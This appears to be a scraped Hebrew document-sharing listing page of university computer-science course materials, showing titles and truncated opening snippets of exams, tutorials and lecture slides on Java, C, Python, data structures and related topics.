אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ אוניברסיטת בן גוריון בנגב תאריך המבחן: 12.02.17 שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: 202.1.9031 מס' הקורס : הנדסת תעשיה וניהול מיועד לתלמידי : א' מועד א' סמ' שנה תשע"ד 3 שעות משך

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב המחלקה Object תוכן עניינים Object הורשה והמחלקה ערך שם טיפוס DynamicIntArray da data size incrementsize DynamicArray תזכורת - Object[] data; int size; int incrementsize; DynamicArray זה

קרא עוד

שאלה 2. תכנות ב - CShell

שאלה 2. תכנות ב - CShell ביה"ס למדעי המחשב 4.2.2018 האקדמית נתניה מבחן מועד א' יסודות מערכות פתוחות סמסטר חורף, תשע"ח משך המבחן: שלוש וחצי שעות. יש לענות על כל השאלות. מותר השימוש בחומר עזר כלשהו, פרט למחשבים, (מחשבונים מותר).

קרא עוד

SPAM Everyone's favorite food Aviram Jenik

SPAM Everyone's favorite food Aviram Jenik SPAM Everyone's favorite food Aviram Jenik מהו ספאם - SPAM )אותיות גדולות( הוא סוג של בשר - spam )אותיות קטנות( הוא שליחת דוא"ל ללא רשות המקבל )unsolicited( ההסבר המלא נמצא ב: http://www.spam.com/ci/ci_in.htm

קרא עוד

BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות נ

BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות נ BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות ניתוח וניהול מאגרי מידע בעלי נתונים שאינם מאורגנים,

קרא עוד

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בינסקי הנחיות: יש לענות על כל השאלות. יש לענות על כל

קרא עוד

Homework Dry 3

Homework Dry 3 Homework Dry 3 Due date: Sunday, 9/06/2013 12:30 noon Teaching assistant in charge: Anastasia Braginsky Important: this semester the Q&A for the exercise will take place at a public forum only. To register

קרא עוד

מבוא לאסמבלי

מבוא לאסמבלי 1 ברק גונן תוכנית שבנויה מחלקי קוד נפרדים המשולבים זה בזה מאפיינים: נקודת כניסה אחת נקודת יציאה אחת מבצעים פעולה מוגדרת נקראים פרוצדורות ברק גונן 2 קוד קצר יותר לא צריך לחזור על חלקי קוד שאלה למחשבה: האם

קרא עוד

Microsoft Word - Ass1Bgu2019b_java docx

Microsoft Word - Ass1Bgu2019b_java docx ת ר ג י ל 1 ב ק ו ר ס מ ב ו א לתכנות 202.1.9031 JAVA סמסטר ב, ת נ א י ם ו ל ו ל א ו ת תאריך אחרון להגשה בציון מלא : 02.04.19 עד שעה : 23:55, כ ל יום איחור ל א מ א ו ש ר א ו ח ל ק ממנו מודריד 10 נקודות

קרא עוד

מקביליות

מקביליות תכונות בטיחות Safety Properties גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון 2 תזכורת: תכונות זמן ליניארי Linear Time Properties תכונות זמן-ליניארי מתארות קבוצת עקבות שהמערכת צריכה לייצר מכוונים ללוגיקה

קרא עוד

PowerPoint Presentation

PowerPoint Presentation פרוטאוס הדרכה לפיתוח פרויקט מבוסס ארדואינו 1 הוראות הפעלה תוכנת פרוטאוס מכילה כמות גדולה מאוד של כלי עזר להבנת דרך ההפעלה של התוכנה. שני מקורות מידע עיקריים עומדים לרשות המשתמש מחוץ לתוכנה: o באתר האינטרנט

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527 kadman11@gmail.com

קרא עוד

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מספיק עמדות לכולם ולכן מומלץ לעבוד ביחידים). במהלך המעבדה יהיה עליכם לבצע משימות. אם תצטרכו עזרה בשלב

קרא עוד

Slide 1

Slide 1 1 אובייקטים היום בתרגול: 2.)objects מחלקות )classes( ואובייקטים )מופעים, )fields( שדות המחלקה שיטות הכמסה )methods של מחלקה. ( class מחלקה - עד עכשיו השתמשנו בעיקר בטיפוסים מובנים ופונקציות המבצעות חישובים

קרא עוד

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדיקות אחרונות לפני מסירה )עמודים 8-11( מבנה השאלון 5

קרא עוד

דוגמאות שהוצגו בהרצאה 10 בקורס יסודות מערכות פתוחות דוגמה 1 דוגמאות של פונקציות ב- awk שמראות שהעברת פרמטרים של משתנים פשוטים היא by value והעברת פרמט

דוגמאות שהוצגו בהרצאה 10 בקורס יסודות מערכות פתוחות דוגמה 1 דוגמאות של פונקציות ב- awk שמראות שהעברת פרמטרים של משתנים פשוטים היא by value והעברת פרמט דוגמאות שהוצגו בהרצאה 10 בקורס יסודות מערכות פתוחות דוגמה 1 דוגמאות של פונקציות ב- awk שמראות שהעברת פרמטרים של משתנים פשוטים היא by value והעברת פרמטרים של מערכים היא by reference וכן דוגמאות שמראות שמשתנים

קרא עוד

הגשה תוך שבוע בשעת התרגול

הגשה תוך שבוע בשעת התרגול מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב את

קרא עוד

Microsoft PowerPoint - T-10.ppt [Compatibility Mode]

Microsoft PowerPoint - T-10.ppt [Compatibility Mode] מבוא למחשב בשפת Matlab לולאות בלוקי try-catch :10 תרגול מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור, סאהר אסמיר וטל כהן עבור הקורס "מבוא למדעי המחשב" נכתב על-ידי רמי כהן,אולג רוכלנקו,

קרא עוד

מספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה

מספר מחברת: עמוד 1 מתוך 11 תז: תשעא מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה עמוד 1 מתוך 11 תשע"א מועד ב סמסטר א' 14.2.2011 תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי המחשב יש לענות על כל 5 השאלות. בכל השאלות במבחן יש לכתוב פונקציות יעילות

קרא עוד

Slide 1

Slide 1 מבוא לתכנות ב- JAVA תרגול 5 מה בתרגול מחרוזות מערכים דו ממדיים מחרוזות (Strings) מחרוזת היא רצף של תווים. immutable על מנת ליצור ולטפל במחרוזות נשתמש במחלקה String למחלקה String מתודות שונות שמאפשרות פעולות

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשעג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג,.6.013 משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם 8 עמודי שאלון )כולל עמוד זה(. עליכם לכתוב את התשובות על

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן # חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527

קרא עוד

Microsoft Word B

Microsoft Word B מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: 1. ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב

קרא עוד

הטכניון מכון טכנולוגי לישראל אלגוריתמים 1 )443432( סמסטר חורף הפקולטה למדעי המחשב תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגור

הטכניון מכון טכנולוגי לישראל אלגוריתמים 1 )443432( סמסטר חורף הפקולטה למדעי המחשב תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגור תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגוריתמים לפתרון בעית מסלולים קלים מציאת מסלולים קלים ביותר מצומת ביותר ממקור יחיד. כלומר, V לכל צמתי הגרף. בעיה אחרת הקשורה לבעיה זו היא בעית ה-(

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מהי סביבת איקס לימוד? סביבת איקס לימוד היא סביבה גמישה לתרגול היכולת לזכור ולהיזכר במושגים ועובדות מתחומי תוכן שונים על ידי התאמה. הסביבה מבוססת על המשחק 'איקס עיגול' והתוכן אותו מתרגלים יכול מסוג טקסט

קרא עוד

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה הרעיון: דפדוף paging וזכרון וירטואלי.1.2.3 לחלק את מרחב הכתובות לדפים בגודל קבוע )למשל )4KB את הדפים ממפים לזכרון פיסי a. לא רציף b. לא כולם העברה מזכרון לדיסק לפי הצורך מספר הדף: page = addr 4K המיקום

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 2: מבוא לתיכנות ב- C 1 תוכנייה משתנים קלט/פלט משפטי תנאי מבוא למדעי המחשב מ' - תירגול 3 2 משתנים 3 משתנים- תמונת הזיכרון הזיכרון כתובת התא #1000 10-4 לא מאותחל 67 לכל תא בזיכרון

קרא עוד

מקביליות

מקביליות תכונות שמורה Invariant Properties גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון 2 בדיקות מודל Checking( )Model מערכת דרישות מידול פירמול בדיקות מודל )Model Checking( מודל של המערכת תכונות פורמליות סימולציה

קרא עוד

Microsoft PowerPoint - meli-iso.ppt

Microsoft PowerPoint - meli-iso.ppt דגשים לעבודה עם פרוטוקול ISOILL בהשאלה בין-ספרייתית יוסי ט יסו נה המסלול האק דמי ה מכללה למי נהל יום הדרכה של מאלי בנושא השאלה והשאלה בין-ספרייתית יולי 2010 - אוניברסיטת בן-גוריון בנגב פרוטוקול ISOILL

קרא עוד

המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return +

המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return + המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return + Line Feed( \r\n - יכולות להתעורר בעיות... זרמים, קוראים

קרא עוד

Python 2.7 in Hebrew

Python 2.7 in Hebrew Python גרסה 7.2 זהר זילברמן גרסה 1.71 אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל דרך או אמצעי אלקטרוני, אופטי או מכני או אחר כל חלק שהוא מהחומר שבספר זה. שימוש מסחרי מכל

קרא עוד

Slide 1

Slide 1 פוליטיקה ארגונית למנהלי משאבי אנוש תמר חושן יעוץ ניהולי "ולחשוב שאני צריכה לבזבז עכשיו כל כך הרבה זמן על הדבר הזה..." למה לי פוליטיקה עכשיו?! "אם אתה מקצוען אמיתי. באמת טוב במה שאתה עושה אתה לא רוצה ולא

קרא עוד

תכנות מונחה עצמים א' – תש"ע

תכנות מונחה עצמים א' –  תשע 1 תכנות מונחה עצמים והנדסת תוכנה תשע"ו 2 בנאי העתקה בניית העתק של אובייקט קיים. בניית העתק בעת העברת אובייקט לפונקציה. בניית העתק בעת החזרת אובייקט מפונקציה. ניתן להגדיר בנאי העתקה. אם לא מגדירים, אז הקומפיילר

קרא עוד

מדריך למרצים ומתרגלים 1

מדריך למרצים ומתרגלים 1 מדריך למרצים ומתרגלים 1 תוכן עניינים מדריך למרצים ומתרגלים...1 קבלת סיסמה לתחנת מידע למרצה...3 הוספת חומרי למידה...6 הוספת מורשה גישה לאתר הוספת מטלה קורס...9 לאתר הקורס...11 בחירת בודקים למטלה...17 מערכת

קרא עוד

מבוא לתכנות ב- JAVA תרגול 11

מבוא לתכנות ב- JAVA  תרגול 11 מבוא לתכנות ב- JAVA תרגול 11 רשימה מקושרת אוסף סדור של איברים מאותו טיפוס. קודקוד ברשימה )Node( מכיל את המידע + הצבעה לקודקוד הבא ברשימה data next first רשימה :)List( מיוצגת ע"י מצביע לאיבר הראשון ברשימה

קרא עוד

תוכנה 1 1 אביב תשע"ג תרגיל מספר 5 מערכים, מחרוזות, עיבוד טקסט ומבני בקרה הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס. הגש

תוכנה 1 1 אביב תשעג תרגיל מספר 5 מערכים, מחרוזות, עיבוד טקסט ומבני בקרה הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס. הגש תוכנה 1 1 אביב תשע"ג תרגיל מספר 5 מערכים, מחרוזות, עיבוד טקסט ומבני בקרה הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס. הגשת התרגיל תיעשה במערכת ה- mdle בלבד.(http://mdle.tau.ac.il/)

קרא עוד

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office 365 ProPlus בחינם. ניתן להוריד ולהתקין את הגרסאות הבאות:

קרא עוד

Overview of new Office 365 plans for SMBs

Overview of new Office 365 plans for SMBs מעבר בין חבילות Online מעבר בין חבילות ב- Open Online to Open Current Plan Upgrade Options Current Plan Upgrade Options Business Essentials Business Premium Enterprise E1 Enterprise E3/E4 Enterprise E1

קרא עוד

Microsoft PowerPoint - rec3.ppt

Microsoft PowerPoint - rec3.ppt תכנו ת מונח ה עצ מים משתני מחלקה, עצמים מוכלים ועצמים מוצבעים א וה ד ברז יל י א ונ יברס י ט ת תל אביב משתנ י מח ל קה Static Members משתני מחלקה members) (static משתנים סטטיים מוגדרי ם בתוך מח לקה ואולם

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 )substitution cipher( )חלק :)II צופן החלפה שיעור 9 מבוא לדיחסת מידע 1) מבוא לקריפטוגרפיה

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים החוג למדעי המחשב אוניברסיטת חיפה מבוא למדעי המחשב סמסטר א' תשע"ג בחינת סיום, מועד ב', 20.02.2013 מרצה: ריטה אוסדצ'י מתרגלת: נעמה טוויטו מדריך מעבדה: מחמוד שריף משך המבחן: שעתיים חומר עזר: ספר של Kernighan

קרא עוד

Microsoft Word - c_SimA_MoedB2005.doc

Microsoft Word - c_SimA_MoedB2005.doc מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד ב', סמסטר א' תשס"ה,.2.2005 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות:. ודאו כי בטופס שבידיכם עמודים. יש לכתוב

קרא עוד

הגנה - שקפי תרגול

הגנה - שקפי תרגול תרגול 9 סיסמאות חד פעמיות הגנה במערכות מתוכנתות )הגנה ברשתות( חורף תשע"ז 1 תזכורת בקרת כניסה אימות זהות המשתמש למניעת התחזות קבלת שירות שהתוקף אינו זכאי לו קבלת גישה למידע פרטי ולביצוע פעולות בד"כ נעשה

קרא עוד

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של תוכנה חופשית. דוגמאות מהשטח 1 ליאור קפלן 30/11/05 קצת

קרא עוד

ISI

ISI ISI - Web of Knowledge דצמבר 2007 המאגר ה - Knowledge ISI Web of הוא כלי מחקר רב תכליתי המאפשר גישה איכותית למידע אקדמי. הגישה למאגר פתוחה למנויים בלבד ומכל מחשב המחובר לרשת האוניברסיטה. כניסה למאגר ה

קרא עוד

תכנון אלגוריתמים עבודת בית 4: תכנון אלגוריתמים תאריך הגשה: 02: , בצהריים,תא מספר 66 בקומת כניסה של בניין 003 מתרגל אחראי: אורי 0

תכנון אלגוריתמים עבודת בית 4: תכנון אלגוריתמים תאריך הגשה: 02: , בצהריים,תא מספר 66 בקומת כניסה של בניין 003 מתרגל אחראי: אורי 0 22 עבודת בית 4: תכנון אלגוריתמים תאריך הגשה: 2: 622, בצהריים,תא מספר 66 בקומת כניסה של בניין 3 מתרגל אחראי: אורי הוראות כלליות: כל עוד לא נאמר אחרת, כאשר הנכם מתבקשים לתאר אלגוריתם יש לספק את הבאות: תיאור

קרא עוד

הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשל

הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשל הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשלח אליכם בדואר רגיל. דפי הנחיות אלה כוללים הסבר על אופן

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשעב בחינת סיום, מועד א', הנחי אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך

קרא עוד

תורת הקומפילציה

תורת הקומפילציה תורת הקומפילציה תרגיל בית 2 הוראות לתרגיל 2 בשפת MINI-PASCAL הפרוייקט המצורף הינו קוד שלד של מהדר לשפת mini-pascal עליכם לממש בסביבת (Eclipse (Java את הפונקציות המתאימות לפי החומר שנלמד בהרצאה ע"מ שהמהדר

קרא עוד

regular_expression_examples

regular_expression_examples ביטוי רגולארי או באנגלית: Regular Expression כאשר רוצים לחפש על נושא מסוים (למשל בגוגל), כותבים בערך מה שרוצים ואז מנוע החיפוש מביא לנו המון קישורים שיש בהם את מה שחיפשנו בצורות שונות ומגוונות. אם איננו

קרא עוד

תכנות בשפת פייתון ברק גונן

תכנות בשפת פייתון ברק גונן תכנות בשפת פייתון ברק גונן תכנות בשפת פייתון Python Programming / Barak Gonen גרסה 1.03 כתיבה: ברק גונן עריכה: עומר רוזנבוים אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל

קרא עוד

שקופית 1

שקופית 1 www.pwc.com/il חידושים בתחום התמריצים טלי ברנד, רו"ח, דירקטורית, מנהלת מחלקת תמריצים, אוקטובר 2014 תוכן העניינים דגשים לגבי הטבות מס על פי החוק לעידוד השקעות הון תכניות מענקי מחקר ופיתוח נבחרות שינויים

קרא עוד

Tutorial 11

Tutorial 11 מבוא לשפת C תרגול 8: מערכים רב-ממדיים תרגילים בנושא מערכים ורקורסיה מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקנשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב" נכתב ע"י טל כהן, עודכן ע"י

קרא עוד

Slide 1

Slide 1 Introduction to Programming in C תרגול 8 1 1 רקורסיה תזכורת הגדרה: המונח רקורסיה (recursion) מתאר מצב שבו פונקציה קוראת לעצמה באופן ישיר או באופן עקיף. שימוש: נוח להשתמש בפונקציות רקורסיביות על מנת לפתור

קרא עוד

מקביליות

מקביליות PROMELA גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון עדכון אחרון: 21:40 15/06/2013 2 שפת מ פ ר ט עם ס מ נ ט יק ה מוגדרת באופן מתמטי "שפת תכנות" למודלים המטרה: לאפשר גם לכאלה שאינם חוקרים בתחום לבנות

קרא עוד

עבודה במתמטיקה לכיתה י' 5 יח"ל פסח תשע"ה אפריל 5105 קשה בלימודים, קל במבחנים, קל בחיים עבודה במתמטיקה לכיתה י' 5 יח"ל פסח תשע"ה יש לפתור את כל השאלות

עבודה במתמטיקה לכיתה י' 5 יחל פסח תשעה אפריל 5105 קשה בלימודים, קל במבחנים, קל בחיים עבודה במתמטיקה לכיתה י' 5 יחל פסח תשעה יש לפתור את כל השאלות עבודה במתמטיקה לכיתה י' 5 יח"ל פסח תשע"ה יש לפתור את כל השאלות על דפים משובצים. רשמו את שמכם על כל אחד מהדפים הפתרונות יוגשו אחרי חופשת הפסח. מומלץ לכתוב דואר אלקטרוני, Whatspp כאשר נתקלים בקושי. מישהו

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 7: פונקציות 1 מה היה שבוע שעבר? לולאות מערכים מערכים דו-ממדיים 2 תוכנייה )call by value( פונקציות העברת פרמטרים ע"י ערך תחום הגדרה של משתנה מחסנית הקריאות 3 פונקציות 4 הגדרה של

קרא עוד

תאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה

תאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה תאריך פרסום: 01.01.15 תאריך הגשה: 15.01.15 מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש להגיש בזוגות. -העבודה חייבת להיות מוקלדת. -הקובץ חייב

קרא עוד

Algorithms Tirgul 1

Algorithms Tirgul 1 - מעגלי אוילר ומסלולי אוילר תרגול 1 חידה: האם אפשר לצייר את הציורים הבאים בלי להרים את העיפרון מהנייר? 1 קצת אדמיניסטרציה אופיר פרידלר ophir.friedler@gmail.com אילן כהן - ilanrcohen@gmail.com שעות קבלה

קרא עוד

Microsoft PowerPoint - Lecture1

Microsoft PowerPoint - Lecture1 Computer Organization and Programming ארגון ותכנו ת המחשב - את"מ הרצאה מבוא 2 שפה עילית מול שפ ת מ כונה שפה עילית language) (High level שפת מכונה Language) (Machine תכנית בשפ ה עיל ית (C, Pascal, ) תכנית

קרא עוד